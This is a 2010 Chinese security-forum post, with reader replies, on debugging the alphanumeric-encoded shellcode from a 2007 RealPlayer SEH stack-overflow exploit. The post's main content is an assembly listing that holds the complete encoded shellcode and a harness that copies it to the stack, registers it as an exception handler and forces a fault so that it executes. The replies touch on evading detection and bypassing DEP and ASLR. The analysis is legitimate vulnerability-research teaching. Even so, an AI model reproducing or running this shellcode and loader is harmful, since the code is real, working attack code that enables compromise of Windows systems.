首页
社区
课程
招聘
7
[原创+整理]经典案例中的纯字符shellcode调试——07年Realplayer漏洞Exploit
发表于: 2010-5-18 06:37 14933

[原创+整理]经典案例中的纯字符shellcode调试——07年Realplayer漏洞Exploit

2010-5-18 06:37
14933

看到snowdbg刚刚的一篇精华文章http://bbs.pediy.com/showthread.php?t=113177谈到了纯字符型shellcode的加解密问题,其中achillis道出了关键:

于是我想起了07年的Realplayer漏洞的纯字符shellcode,这正是用那样的引擎产生出来的,一个连解码部分都是纯字母数字的shellcode。那时我对shellcode调试还并不了解,刚刚尝试接触这个方面的知识就第一次碰到了纯字符shellcode,因此印象深刻。当时我只能通过查找alpha2的解密代码,用解密代码来把shellcode解出来,而不是通过调试shellcode中的解密代码的方式。后来看到了有关漏洞原理和触发的全过程的分析文章,才通过调试shellcode中的解密代码的方式把它解密出来,个人觉得那个解密代码的确写得非常有心思。现在恰逢其会,就整一篇小文在这里说一下跟大家分享。

该漏洞的原理请参考
[1]http://bbs.pediy.com/showthread.php?t=55357
该漏洞的触发过程及如何跳入shellcode的过程,参考
[2]http://www.sinoit.org.cn/NewsLetter/NO.11/1104.html

从以上两篇文章可以看到,该漏洞的利用是通过触发栈溢出并覆盖SEH处理例程地址来实现的,其中以下段落指出的编写Exploit的关键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.386
.model flat,stdcall
option casemap:none
 
.data
payload dd  04740675h, 41414141h
    db  'LLLL\XXXXXLD'
    db  'TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0q'
    db  'JPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0'
    db  'z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGON'
    db  'uKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2'
    db  'DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOL'
    db  'NQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQW'
    db  'RU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp'
    db  '5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4'
    db  'CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS'
    db  '4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZV'
    db  'OdoRWQgrWTnQw2Y3JT96NPod2pgToPgrY0z2YTnSUQhU5k0wpA',0
 
.code
Start:
    push    esi
    push    edi
    push    ebx
    sub esp, 400h
    call    reloc
reloc: 
    pop ebx
    mov esi, offset payload
    mov edi, esi
    xor eax, eax
    or  ecx, 0FFFFFFFFh
    xor eax, eax
    repne   scasb
    not ecx
    dec ecx
    mov edi, esp
    rep movsb
    assume  fs:nothing
    mov fs:[0], esp
    add ebx, sehhandle-reloc
    mov [esp+4], ebx
    xor eax, eax
    mov dword ptr [eax], 0
    pop ebx
sehhandle:
    pop edi
    pop esi
    ret
 
end Start

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-5-31 02:14
伟叔叔
为你点赞~
2024-1-31 16:02
QinBeast
为你点赞~
2024-1-14 01:30
shinratensei
为你点赞~
2024-1-7 03:19
心游尘世外
为你点赞~
2023-12-13 00:07
飘零丶
为你点赞~
2023-12-1 00:23
PLEBFE
为你点赞~
2023-3-21 02:29
最新回复 (11)
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
2
“带着镣铐跳舞”这个比喻很形象啊~
2010-5-18 07:06
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
3
好文章,看完再说。。。
2010-5-18 09:18
0
雪    币: 3171
活跃值: (81)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
4
还是小聪分析的透彻啊~~
共同进步--
你起的好早
不知道小聪兄弟对by pass DEP, ASLR等有没有深入研究,我最近正在看这方面的东西 可以交流~~
2010-5-18 11:12
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
5
还是研究漏洞有意思,有共同语言,必须得向前辈虚心学习!浏览过一些漏洞分析的文章,很多都是解析文件格式时出的问题,或者不同类型变量赋值导致字符串复制时参数变大发生溢出或者给驱动传了个函数指针且被运行了。感觉搞这个比较实在,有成就感,要加强学习了。
2010-5-18 13:00
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
6
支持,
编码是为了防检测,有时还会看到利用端口复用以过FW的。
2010-5-20 09:00
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
7
这种显然不是为了防检测,当然也有效,但那不是重点,重点是为了绕过漏洞场景中对字符串的限制。
2010-5-20 13:02
0
雪    币: 111
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
万一输入要求是Unicode,溢出点也是Unicode咋办? 又没有纯Unicode的shellcode呢?
2010-5-20 21:18
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
9
在文件格式中绝大部分是你说的这种情况,就是并不会转换回来,直接执行unicode shellcode。大部分纯字符shellcode都是为你说的这种情况而编写的。
2010-5-20 23:37
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
10
学习下  谢谢了~~~有问题向你问下啊
2010-5-21 00:11
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
你太猛了……
2010-11-26 00:25
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
一直对SEH和漏洞模模糊糊。赶紧学习!
2010-11-26 03:24
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册